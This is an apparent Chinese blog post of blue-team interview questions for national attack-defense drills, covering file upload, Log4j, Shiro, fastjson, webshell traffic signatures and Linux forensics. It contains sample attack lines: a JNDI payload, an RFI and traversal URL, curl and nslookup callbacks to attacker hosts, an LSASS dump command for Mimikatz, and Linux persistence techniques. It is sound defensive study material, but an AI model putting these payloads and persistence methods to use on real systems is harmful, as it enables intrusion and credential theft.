HW前必看的面试经(1)

2024-06-21 23:58:47 浏览数 (1)

马上今年hw即将来袭,蓝队兄弟们又得苦战了,这里本人参与并且跟朋友交流后整理了一些面试时的常见问题,在此整理成文,希望能帮助即将参与HW的蓝队兄弟们更好地备战,从容应对挑战,本文为周周在腾讯社区首发。

1.文件上传漏洞的原理是什么?

文件上传漏洞是一种常见的网络安全漏洞,它发生在Web应用程序中,允许攻击者上传恶意文件到服务器,进而可能执行恶意代码、控制服务器或造成其他安全威胁。

原理概述

  1. 功能设计缺陷:许多Web应用提供文件上传功能,允许用户上传图片、文档等。如果应用程序在实现时没有对上传文件的类型、内容、大小或目的位置进行充分的验证和过滤,就可能被滥用。
  2. 绕过验证:攻击者会尝试通过修改文件名、文件内容或利用Web应用代码的逻辑缺陷,绕过服务器端的文件类型检查。例如,将恶意脚本文件(如.php、.jsp)伪装成图片文件(.jpg)上传。
  3. Web服务器解析漏洞:即使文件被上传到了非执行目录,某些Web服务器的解析机制(如Apache的mod_mime_magic或IIS的解析漏洞)可能会错误地解析文件,使得上传的恶意脚本得以执行。
  4. 权限问题:如果上传的文件保存在Web可访问目录下,并且服务器配置不当赋予了执行权限,恶意脚本即可被执行。

实际案例

假设有一个社交平台,允许用户上传个人头像。该平台仅简单检查文件扩展名是否为图像格式(如.jpg、.png),但未对文件内容进行检查,也没有实施严格的访问控制策略。

攻击步骤

  1. 绕过验证:攻击者将一个包含恶意PHP代码的文件(如exploit.jpg.php)重命名,仅保留.jpg扩展名,然后通过修改HTTP请求中的Content-Type头部,欺骗服务器认为这是一个图像文件。
  2. 上传恶意文件:利用Web应用的文件上传功能,上传这个伪装后的文件。由于服务器只检查文件扩展名,该文件顺利通过验证并被保存。
  3. 利用解析漏洞:如果Web服务器存在解析漏洞,即使文件名为.jpg,服务器也可能尝试按照PHP文件解析它,尤其是在文件路径被精心构造的情况下(例如,通过目录遍历漏洞访问文件)。
  4. 执行恶意代码:一旦恶意PHP代码被执行,攻击者就可以在服务器上执行任意命令,窃取数据、植入后门,甚至完全控制服务器。

防御措施

  • 验证文件类型和内容:不仅检查文件扩展名,还要通过MIME类型检查或文件头验证确保文件内容与声明类型相符。
  • 重命名和移动文件:上传后自动重命名文件并将其存储在不可直接Web访问的目录下,减少直接执行的风险。
  • 限制文件访问权限:确保上传的文件没有执行权限。
  • 使用安全沙箱或容器化:运行Web应用在受限环境中,减少恶意文件的影响范围。
  • 定期安全审计和更新:及时修补Web服务器和应用框架的已知漏洞,避免解析漏洞被利用。

2.Linux被入侵了常见排查命令有哪些?

查看当前登录用户

  • 命令:w, who, whoami
  • 用途:显示当前系统中所有登录的用户、他们从哪里登录、登录时间以及正在执行的进程。这有助于发现未知或可疑的用户活动。
  • 实际案例:若发现有来自不寻常IP地址的登录记录,尤其是管理员账户在非工作时间或非预期地点的登录,可能是入侵迹象。

检查历史登录记录

  • 命令:last, lastlog
  • 用途:查看用户的最近登录历史,包括登录时间和来源IP。可以帮助识别异常登录模式。
  • 实例:通过last | grep "root"检查root账户的登录历史,发现频繁或来自陌生IP的登录尝试。

分析系统日志

  • 命令:cat, less, grep用于查看 /var/log/auth.log(Ubuntu/Debian)、/var/log/secure(RHEL/CentOS)、/var/log/messages 或使用 journalctl(对于使用systemd的系统)
  • 用途:查找登录失败、权限变更、服务启动失败等日志条目,这些都可能是入侵的线索。
  • 实例:使用grep 'authentication failure' /var/log/auth.log查找失败的认证尝试。

检查系统进程

  • 命令:ps aux, top, htop, pstree
  • 用途:查看当前运行的进程,识别不正常的或未知的进程,特别是那些消耗大量资源的进程。
  • 实例:发现不明后台进程监听在非标准端口上,可能是恶意软件在运行。

网络连接检查

  • 命令:netstat -tulnp, ss -tulnp (对于较新的系统)
  • 用途:列出所有打开的网络连接和监听的端口,帮助识别未授权的服务或后门。
  • 实例:通过netstat -an | grep LISTEN发现有未知服务监听在3389端口,可能为远程桌面木马。

检查文件系统变更

  • 命令:find, diff
  • 用途:比如使用find /bin /usr/bin -type f -mtime -7查找过去7天内修改过的系统二进制文件,这可能是恶意软件篡改的结果。
  • 实例:发现/usr/bin/sshd文件的修改时间最近有变动,可能意味着SSH服务被替换了。

检查计划任务

  • 命令:crontab -l, ls -al /etc/cron*
  • 用途:查找是否有异常的定时任务,这些任务可能用于维持后门、下载恶意软件或执行其他恶意操作。
  • 实例:在/etc/cron.hourly中发现一个不明脚本,定时下载并执行未知程序。

检查用户和组

  • 命令:cat /etc/passwd, cat /etc/group
  • 用途:检查是否有新增的未知用户或用户组,这些可能是入侵者为了长期保持访问权限而创建的。
  • 实例:发现新增的用户backupuser,其shell路径被设定为/bin/bash而非预期的/sbin/nologin,表明可能被用于登录。

3.Shiro 组件有什么用?

Apache Shiro 是一个强大的 Java 安全框架,它简化了身份验证、授权、加密和会话管理等安全相关的复杂问题。Shiro 的核心在于它的三大组件,这些组件协同工作,为应用程序提供了一套全面的安全解决方案。下面详细说明每个组件的作用,并通过实际案例加以说明。

1. Subject

作用:

  • Subject 是 Shiro 的核心抽象,代表了当前与应用程序交互的“实体”,这个实体可以是用户、系统服务、设备等任何需要与应用进行安全上下文交互的对象。
  • 通过 Subject,开发者可以执行诸如登录、登出、检查权限等操作,而无需关心底层的实现细节。

实际案例: 比如一个在线教育平台,用户登录后才能观看课程视频或参与论坛讨论。在这个场景中,Subject 就代表了登录的用户,通过 Subject 的 login() 方法进行认证,通过 isPermitted() 方法检查用户是否有观看特定课程的权限。

2. SecurityManager(安全管理器)

作用:

  • SecurityManager 是 Shiro 的心脏,它是所有安全操作的中央管理者,负责协调各个组件,如执行认证、授权、会话管理等。
  • 它是所有 Subject 实例的后盾,Subject 的每个请求最终都会委托给 SecurityManager 处理。

实际案例:比如一个在线教育平台中,管理员试图访问后台管理界面。SecurityManager 在收到 Subject 发出的访问请求后,会根据事先配置的 Realm(认证和授权的数据源)来验证管理员的身份并检查其是否拥有访问后台的权限。

3. Realm

作用:

  • Realm 负责与应用程序的数据源进行交互,以执行认证(验证用户身份)和授权(决定用户能做什么)逻辑。
  • Shiro 支持多种类型的 Realm,如 JDBC Realm(数据库)、LDAP Realm(目录服务)、IniRealm(配置文件)等,可以根据实际需求选择合适的 Realm 实现。

实际案例: 比如一个在线教育平台为例,使用 JDBC Realm 存储用户凭证和角色权限。当用户尝试登录时,Realm 会查询数据库验证用户提供的用户名和密码是否匹配;用户访问特定资源时,Realm 再次查询数据库,判断用户角色是否拥有访问该资源的权限。

4.攻击Dmz区是什么原因?

攻击DMZ(Demilitarized Zone,非军事区)区的原因主要是因为DMZ区存放着面向公众开放、可以直接从互联网访问的服务器和服务,如Web服务器、邮件服务器、FTP服务器等。这些服务由于其公开性和必要性,成为了黑客攻击的重点目标。以下是攻击DMZ区的几个主要原因:

  1. 获取敏感信息:攻击者试图通过漏洞利用、弱口令猜测等方式,获取存放在DMZ区服务器上的敏感信息,如客户数据、公司文件等。虽然理想情况下,最敏感的数据应该存储在内网,但DMZ区仍可能存放一些具有价值的信息。
  2. 作为跳板:入侵DMZ区的服务器后,攻击者可能将其作为跳板,进一步渗透到内部网络。通过内部网络的横向移动,攻击者可以寻找更深层次的系统漏洞,企图达到控制核心服务器、窃取内部数据或发起拒绝服务攻击的目的。
  3. 服务中断:攻击者可能通过DDoS(分布式拒绝服务攻击)或其他方式使DMZ区的服务不可用,影响公司的业务运营和声誉。例如,攻击电子商务网站的Web服务器使其在购物高峰期无法访问。
  4. 恶意软件传播:攻击者可能会利用DMZ区的服务器作为恶意软件的分发点,向内网用户或者互联网上的其他用户传播病毒、木马等。

实际案例

  • Equifax数据泄露事件:虽然不是直接针对DMZ的攻击,但2017年的Equifax数据泄露事件展示了攻击者如何利用Web应用中的漏洞获取未经授权的访问权限,进而导致大量敏感数据(包括约1.47亿美国消费者的个人信息)被盗。虽然Equifax的具体网络架构未详细公布,但此类攻击强调了面向公众的系统(通常位于DMZ)中的漏洞可能带来的严重后果。
  • Apache Struts漏洞利用:2017年,Apache Struts框架的一个远程代码执行漏洞被广泛利用,攻击者通过该漏洞攻击了许多企业的Web服务器,这些服务器往往位于DMZ区。攻击者利用该漏洞获取服务器控制权,进而植入恶意软件、窃取数据或进行其他恶意操作。

通过这些案例可以看出,攻击DMZ区是黑客获取初始立足点、进一步渗透内网、窃取数据或造成服务中断的常见策略。因此,加强DMZ区的安全防护,如严格控制出入流量、定期更新与修补漏洞、实施入侵检测与防御系统、以及进行定期的安全审计,对于保护企业资产至关重要。

5.Log4j特征流量是什么?

Log4j特征流量是指在网络数据传输中,能够标识出利用Log4j漏洞进行攻击的数据包的特定模式或特征。Log4j漏洞,特别是2021年底被披露的Log4Shell(CVE-2021-44228)漏洞,引起了广泛关注,因为它允许攻击者通过精心构造的输入数据远程执行代码。这一漏洞影响了广泛使用Apache Log4j 2.x版本的应用程序和系统。

Log4j特征流量的典型特征包括:

JNDI注入Payload: Log4Shell漏洞主要通过JNDI(Java Naming and Directory Interface)注入来利用,因此特征流量中通常包含尝试利用JNDI查找机制的特殊字符串。例如,HTTP请求中可能含有以下形式的Payload:

代码语言:txt复制
${jndi:ldap://${attacker-controlled-server}/Exploit}
  1. 特定User-Agent字符串: 攻击者可能在HTTP请求的User-Agent头部插入特定的字符串,以识别或过滤出利用Log4j漏洞的尝试。例如:"Log4j2" "Log4jAPI/2.0"
  2. LDAP或其它协议请求: 在网络流量中,可能会观察到指向攻击者控制的LDAP服务器或其他支持JNDI查找服务的请求,这些请求用于加载恶意代码或执行攻击者的指令。

6.weblogic反序列化有两种,分别是啥?

WebLogic反序列化漏洞是Java Web应用服务器Oracle WebLogic Server中的一个安全弱点,它允许攻击者通过发送精心构造的序列化数据来远程执行代码。WebLogic历史上出现过多种反序列化漏洞,但其中两种较为著名且被广泛讨论的是:

  1. WebLogic XMLDecoder反序列化漏洞: 这种漏洞主要出现在WebLogic Server的WLS组件中,涉及XMLDecoder类的不当使用。XMLDecoder是一种用于从XML文档中解码对象的Java类,如果它在处理不可信的XML数据时没有正确的验证和过滤,攻击者就可以构造特殊的XML数据,通过WebLogic的某些功能接口上传,导致反序列化过程执行恶意代码。比如CVE-2017-10271就是一个典型的例子,攻击者可以通过发送特定构造的SOAP请求,利用T3协议,触发WebLogic WLS组件中的XMLDecoder反序列化漏洞,从而执行任意命令。
  2. WebLogic 反序列化RMI远程代码执行漏洞: 这类漏洞通常与Java远程方法调用(RMI)服务有关,WebLogic的RMI服务在处理序列化数据时可能存在缺陷,攻击者可以发送特制的序列化数据到RMI注册表,利用不安全的反序列化操作执行任意代码。CVE-2018-2893是一个实例,它影响了WebLogic Server的Coherence组件,攻击者可以构造恶意的序列化对象,通过RMI接口发送,导致服务器执行攻击者控制的代码。

这两种漏洞的根本原因在于WebLogic在处理外部输入时缺乏足够的安全控制,尤其是对序列化数据的验证不足,使得攻击者能够构造恶意对象,利用Java反序列化机制执行任意代码。

7.文件包含原理是什么?

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序安全漏洞,主要发生在动态网页编程中,尤其是使用PHP语言的环境中。其原理是,应用程序为了实现代码重用或动态加载不同内容,会使用文件包含功能来引入外部文件。然而,如果对用户提供的输入验证不足或过滤不当,攻击者就能通过精心构造的输入来控制被包含的文件路径,从而实现恶意目的。文件包含漏洞主要分为两类:

1. 本地文件包含(Local File Inclusion, LFI)

在本地文件包含中,攻击者利用漏洞读取服务器上的任意文件,包括但不限于配置文件(如数据库凭据、私钥等)、源代码文件等。这种攻击依赖于能够控制文件包含函数的参数,使之指向非预期的本地文件。例如,如果一个PHP脚本接受用户输入来包含一个模板文件:

代码语言:javascript复制
Php1include($_GET['template']);

攻击者可以通过修改URL参数template../../../../etc/passwd来尝试读取Linux系统中的用户密码文件:

代码语言:javascript复制
1http://example.com/index.php?template=../../../../etc/passwd

2. 远程文件包含(Remote File Inclusion, RFI)

远程文件包含允许攻击者从远程服务器加载并执行恶意代码。这要求Web服务器的配置允许通过URL包含文件,并且应用程序没有正确验证文件来源。PHP中,这通常需要allow_url_fopenallow_url_include配置项开启。例如,如果一个脚本像这样包含文件:

代码语言:javascript复制
Php1include($_GET['page']);

攻击者可以提供一个恶意的URL作为参数,导致服务器执行远程服务器上的代码:

代码语言:javascript复制
1http://example.com/index.php?page=http://attacker.com/malicious_code.php

实际案例

案例1:WordPress TimThumb插件漏洞 在2011年,WordPress中广泛使用的TimThumb图片缩放插件曝出了远程文件包含漏洞。攻击者利用此漏洞,通过精心构造的URL,使插件从恶意服务器下载并执行了PHP代码,导致大量网站被黑,植入恶意内容或被完全控制。

案例2:PHPStudy远程代码执行漏洞 2017年,PHPStudy集成环境软件曝出一处远程文件包含漏洞,攻击者可以利用该漏洞,通过包含一个远程的恶意PHP文件,从而在服务器上执行任意代码,最终达成控制服务器的目的。

这些案例显示,文件包含漏洞可以被攻击者用来窃取敏感信息、执行恶意代码、控制服务器,甚至作为进一步攻击内网的跳板。因此,开发人员在实现文件包含功能时,必须严格验证用户输入,确保只加载预期的、安全的文件,并考虑禁用或严格限制远程文件包含的功能。

8.linux权限维持该怎么做?

Linux权限维持是指攻击者在入侵Linux系统后,为了长期保持对系统的控制权,采取的一系列措施。这些措施旨在确保即使系统管理员进行常规维护或安全检查,也能悄无声息地保留访问权限。以下是一些常见的Linux权限维持手法及其实际应用示例:

1. 隐藏后门

  • 技术描述: 攻击者可以在系统中植入不易察觉的后门,比如通过修改系统二进制文件(如SSH服务),或者在启动项和服务中添加自启动脚本。
  • 实际案例: 修改/usr/bin/ssh,使其在执行时秘密验证特定的后门密码,同时确保原始功能不受影响,以避免引起怀疑。

2. 使用SUID权限

  • 技术描述: 设置SUID(Set User ID)权限,使得普通用户可以以文件所有者的权限(通常是root)运行某个程序。攻击者可以滥用此特性,留下一个可以随意执行的高权限程序。
  • 实际案例: 将一个自定义的shell脚本设置为SUID,使得任何用户执行该脚本时都具有root权限,从而可以执行任意命令。

3. 隐藏文件和修改文件属性

  • 技术描述: 使用chattr命令设置文件的不可更改属性(如i属性),使得即使是以root身份也无法删除或修改特定文件,从而隐藏后门脚本。
  • 实际案例: 对一个放置在/tmp目录下的恶意脚本执行chattr i badscript.sh,即使管理员检查到该文件,也难以直接删除或修改。

4. 定时任务

  • 技术描述: 设置cron job(定时任务),定期执行恶意脚本,确保即使原后门被发现并清理,也能重新部署。
  • 实际案例: 添加一条cron作业,每天凌晨3点自动从远程服务器下载并执行新的后门代码,确保权限持续维持。

5. 替换系统日志和监控工具

  • 技术描述: 修改或替换系统日志记录和监控工具,删除或篡改关于攻击行为的记录,降低被发现的风险。
  • 实际案例: 修改/usr/bin/logrotate,使其在处理日志时忽略特定时间段内的记录,掩盖攻击活动的痕迹。

6. 利用SSH密钥

  • 技术描述: 在受害主机的.ssh/authorized_keys文件中添加自己的公钥,实现无需密码的SSH登录。
  • 实际案例: 在root账户的SSH授权密钥列表中悄悄添加自己的公钥,即使系统密码被更改,也能通过SSH密钥对重新获得访问权限。

9.fastjson漏洞原理是什么?

Fastjson是开源的一个高性能的Java语言的JSON库,用于序列化和反序列化JSON数据。Fastjson存在的漏洞主要与它的反序列化机制有关,特别是其AutoType特性,这一特性允许在反序列化过程中自动推断并创建对象的具体类型。以下是Fastjson漏洞的详细原理及一个实际案例说明:

漏洞原理

  1. AutoType机制:Fastjson在设计时引入了@type字段来指定反序列化的目标类型,这使得它能够根据JSON字符串中的提示自动确定要实例化的Java对象类型。此功能在提高灵活性的同时,也埋下了安全隐患。
  2. 黑名单绕过:Fastjson为防止恶意利用,设立了一个黑名单来禁止某些危险类型的反序列化,比如禁止直接反序列化为java.lang.Runtime等可能执行命令的类。但攻击者可以通过精心构造的JSON数据,利用未被列入黑名单的类或链式反序列化技巧,绕过黑名单限制。
  3. 链式反序列化:攻击者通过创建一系列的中间类,这些类在反序列化过程中会被依次实例化,并最终导向一个可执行命令或恶意操作的类。即便单个类被加入黑名单,通过巧妙的类链组合,仍可达成远程代码执行的目的。

实际案例

假设存在一个中间类MiddleClass,该类没有直接执行命令的能力,也不在Fastjson的黑名单中,但它有一个方法可以间接触发危险操作,比如调用另一个可执行命令的类的方法。攻击者构造如下的JSON数据:

代码语言:javascript复制
Json1{
2    "@type": "com.example.MiddleClass",
3    "field": {
4        "@type": "another.vulnerable.Class",
5        // 这里可以是更多层级的嵌套,直到达到可以执行命令的类
6    }
7}

当Fastjson尝试反序列化这段JSON时,首先会实例化MiddleClass,然后继续反序列化其成员field,如果这一过程足够长且最终指向了可以执行命令的类,攻击者就可以通过这个链式过程实现远程代码执行。

10.冰蝎 哥斯拉的强特征?

冰蝎(Behinder)和哥斯拉(Godzilla)是两种常被用于网络攻击的WebShell工具,主要用于后渗透阶段,帮助攻击者在入侵目标系统后,实现对目标服务器的持久控制。它们各自具有一些明显的流量特征,这些特征可以被安全团队用来检测和防御这类攻击。下面详细说明它们的部分强特征:

冰蝎的特征:

  1. 动态加密通信:冰蝎使用动态加密技术对通信流量进行加密,以逃避传统的安全设备检测。在冰蝎3中,动态密钥获取被取消,仅在无动态密钥交互失败后,才进入常规的密钥交互阶段。
  2. 特定请求模式:冰蝎的流量可能包含特定的请求结构,如POST请求到特定的WebShell脚本路径,如/hackable/uploads/shell.php,且可能携带特定参数,如pass=300
  3. Base64编码的Payload:请求体中经常包含Base64编码的数据,用于传递控制命令或数据。此外,可能存在特定的字符串如QGluaV9zZXQo@ini_set,这些都是用于执行命令或配置改变的指示符。
  4. Cookie特征:早期版本中,Cookie中可能包含有特定的分号结尾的字符串,作为与WebShell通信的一部分,尽管这可能在后续版本中被修复。

哥斯拉的特征:

  1. MD5分割编码:哥斯拉的响应数据中,一个32位的MD5字符串会被分割为两半,分别放置在Base64编码数据的前后两端,形成特有的响应包结构,即md5前十六位 base64编码数据 md5后十六位
  2. Base64编码的Payload:与冰蝎类似,哥斯拉的请求中也可能包含Base64编码的负载,用于传递命令或数据。
  3. 特定关键字:请求体中可能含有assert eval等特征字符,这些字符与动态执行代码的功能相关联。
  4. 动态DNS和端口扫描:为逃避追踪,连接服务器的IP地址可能通过动态DNS转换,且连接端口不固定,通常需要扫描20000-30000端口范围来检测哥斯拉的活动。

11.Win11怎么抓取Lsass进程?

在Windows 11系统中抓取Lsass(Local Security Authority Subsystem Service)进程的内存通常是为了进行安全审计、漏洞研究或是调查潜在的安全事件。然而,直接抓取Lsass进程的内存是比较复杂的,因为Lsass是高度敏感的核心系统进程,它存储了如登录凭据和系统安全信息等敏感数据。因此,任何试图访问其内存的行为都必须谨慎处理,确保合法合规,并且最好在安全测试或故障排查的受控环境中进行。

使用Procdump抓取Lsass进程的DMP文件

  1. 准备工具:首先,你需要下载Sysinternals Suite中的Procdump工具,这是一个由微软提供的高级系统诊断工具集。确保下载适用于你系统架构(x86或x64)的版本。
  2. 以管理员身份运行命令提示符:为了有足够的权限抓取Lsass进程,你需要在命令提示符中以管理员身份运行。右击“开始”按钮,选择“Windows 终端(管理员)”或“命令提示符(管理员)”。
  3. 使用Procdump抓取DMP文件:在命令行中输入以下命令来抓取Lsass进程的完整内存转储。此命令会创建一个名为lsass_dump.dmp的文件。 1procdump64 -accepteula -ma lsass.exe lsass_dump.dmp -accepteula 参数表示接受Procdump的许可协议,-ma 参数表示创建一个完整的内存转储。
  4. 分析DMP文件:抓取完成后,你可以使用像WinDbg这样的调试工具来分析lsass_dump.dmp文件。在安全研究中,分析者可能会寻找密码哈希、认证令牌或其他敏感信息,但这需要专业的知识和工具,如Mimikatz。

在安全研究和渗透测试中,研究人员有时会使用上述方法来分析Lsass内存,以评估系统的安全状况,例如查找是否有可能被Pass-the-Hash攻击利用的凭证。一个常见的用途是利用Mimikatz工具从DMP文件中提取明文密码或NTLM哈希值,以便进行后续的安全测试或密码破解尝试。

12.命令执行无回显流量处理方式

命令执行无回显流量处理是指在进行命令注入攻击时,当目标系统不会直接返回命令执行结果的情况下的处理策略。这种情况下,攻击者无法直接看到命令执行的输出,因此需要采用间接方法验证命令是否执行成功以及获取执行结果。以下是一些常见的处理方式:

  1. 延时判断法: 当向目标注入命令时,可以在命令末尾添加延时指令,如 sleep 5(在Linux环境下),这样如果页面加载或响应时间明显增加,则可以推断命令已被执行。例如,通过注入 1=ping -c 1 example.com & sleep 5 判断是否成功执行了ping命令。
  2. HTTP请求法: 利用注入的命令发起对外的HTTP请求到攻击者控制的服务器。例如,使用 curl http://attacker.com/log,攻击者在自己的服务器上记录访问日志,以此验证命令执行并收集可能的输出信息。
  3. DNS请求法: 注入命令执行DNS查询到攻击者控制的DNS服务器。例如,使用 nslookup attacker-controlled-domain.comdig attacker-controlled-domain.com。攻击者可以通过监控DNS日志来判断命令是否被执行,以及通过子域名请求来传递数据。
  4. 文件读写法: 在目标系统上写入或修改文件,然后通过其他途径(如网页浏览、错误信息等)查看文件内容。例如,执行 echo "COMMAND_EXECUTED" > /tmp/output.txt,之后通过其他漏洞或功能读取该文件内容。
  5. 网络监听法: 利用Netcat (nc) 或类似的工具,在目标系统上监听特定端口,然后从外部向该端口发送数据或命令,通过监听端口的响应判断命令执行情况。例如,先在目标系统执行 nc -lvp 8888 > output.txt,然后从攻击机向该端口发送数据。

实际案例: 在DVWA(Damn Vulnerable Web Application)的高难度命令执行场景中,用户可以通过注入命令无回显的方式,利用DNS请求法验证命令执行。攻击者首先注册一个支持DNS日志记录的域名(如使用Ceye.IO服务),然后通过注入命令如 nslookup subdomain.ceye.io,在Ceye.IO的DNS日志中观察到请求记录,以此证明命令已成功执行,并且可以通过子域名的变化传递数据。

13.shiro的流量特征?

Apache Shiro 是一个流行的Java安全框架,它用于处理身份验证、授权、会话管理和加密等功能。在流量分析的上下文中,Shiro的特定行为和配置可能会影响网络通信的特征,特别是当涉及到其“记住我”(Remember Me)功能时,这往往成为安全研究人员关注的焦点。以下是Shiro流量的一些特征:

  1. Remember Me Cookie: Shiro 提供了“记住我”功能,允许用户在关闭浏览器后仍然保持登录状态。这一功能会在客户端设置一个名为 rememberMe 的Cookie。该Cookie值经过加密处理,通常使用AES加密并进行Base64编码。在流量分析中,可以看到HTTP请求头中包含这个加密后的Cookie值。例如,流量捕获工具中可能会显示类似 rememberMe=AQIC... 的Cookie。
  2. 流量特征识别: 分析Shiro流量的一个关键点是识别是否使用了Shiro框架。攻击者或安全审计员可能会通过设置特定的测试Cookie值(如 rememberMe=1)并观察服务器的响应来判断。如果应用返回了Set-Cookie头部,表明应用使用了Shiro,并且可能尝试进一步探索是否存在已知漏洞。
  3. 流量分析与漏洞利用: 特别是在分析Shiro的漏洞利用时,如CVE-2016-4437,该漏洞允许攻击者通过“记住我”功能实现反序列化攻击。在这种情况下,流量特征可能包括精心构造的Cookie值,这些值包含了被编码和加密的恶意对象,旨在触发远程代码执行。攻击流量中可能含有特定的Base64编码字符串或特定的加密前缀,这些特征可以作为识别潜在攻击的线索。
  4. 会话管理流量: Shiro还负责会话管理,因此在网络流量中可能观察到与会话创建、维护和销毁相关的HTTP请求和响应。这些流量可能包含会话ID(Session ID)的交换,以及与会话状态变更相关的特定HTTP状态码和头部信息。

实际案例佐证:

  • 在CVE-2016-4437的案例中,攻击者利用Shiro的Remember Me功能中的反序列化漏洞,通过精心构造的Cookie值,在目标系统的Shiro环境中触发了远程代码执行。流量分析中,安全研究人员注意到异常的Cookie值和特定的流量模式,这些模式与利用该漏洞的尝试相吻合。通过解密并分析这些Cookie值,可以揭示出攻击者试图注入的恶意对象结构。
  • 在渗透测试和红队行动中,安全专家使用自动化工具(如BTEAM-SHIRODECRYPTER)来识别和解密Shiro Remember Me Cookie,以此来分析目标系统是否容易受到已知Shiro漏洞的影响。这些工具通过分析返回的Set-Cookie头部和记住我Cookie的加密内容,帮助识别潜在的漏洞利用点。

14.EDR是什么?

EDR,即Endpoint Detection and Response(端点检测与响应),是一种专注于端点安全的技术解决方案,主要设计用于增强企业的网络安全态势。它通过实时监控和分析端点(如桌面电脑、笔记本、服务器、移动设备等)上的活动,主动识别并响应潜在的威胁。与传统的防病毒软件相比,EDR提供了更深层次的防护,侧重于检测未知威胁、高级持续性威胁(APT)及内部威胁,并快速响应以减轻损害。

EDR的关键功能包括:

  1. 实时监控:不断监控端点上的活动,包括文件、进程、网络连接、注册表变化等,以发现异常行为。
  2. 威胁检测:利用签名匹配、行为分析、机器学习等技术识别已知和未知的威胁。
  3. 威胁响应:一旦检测到威胁,EDR能够自动隔离受感染设备、终止恶意进程、回滚恶意更改或提示管理员进行手动干预。
  4. 调查和分析:提供强大的调查工具,帮助安全团队追溯攻击链,理解攻击的来源、方法和目的。
  5. 数据采集与报告:收集并记录端点活动的详细信息,生成合规报告和威胁情报。
  6. 自动化和智能化:减少人工干预,通过预设规则和机器学习算法自动处理常见威胁。
  7. 威胁狩猎:允许安全分析师主动搜索网络中的隐藏威胁,而不只是被动响应警报。

我正在参与2024腾讯技术创作特训营最新征文,快来和我瓜分大奖!

0 人点赞